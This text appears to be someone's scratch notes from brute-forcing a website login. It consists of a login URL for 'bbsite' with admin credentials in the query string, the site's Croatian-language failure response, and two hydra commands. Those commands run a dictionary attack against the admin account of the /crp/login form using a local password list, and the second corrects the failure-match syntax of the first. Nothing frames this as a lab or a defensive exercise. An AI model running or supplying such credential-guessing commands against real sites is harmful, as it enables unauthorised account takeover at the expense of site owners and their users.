https://bbsite/crp/login?password=pass&username=admin

{"success":false,"greska":"Pogreu0161no."}

hydra  bbsite https-get-form "/crp/login:username=^USER^&password=^PASS^:{"success":false,"greska":"Pogreu0161no"}" -l admin -P /root/Downloads/pass.txt

hydra  bbsite https-get-form "/crp/login:username=^USER^&password=^PASS^:F={"success":false,"greska":"Pogre\u0161no"}" -l admin -P /root/Downloads/pass.txt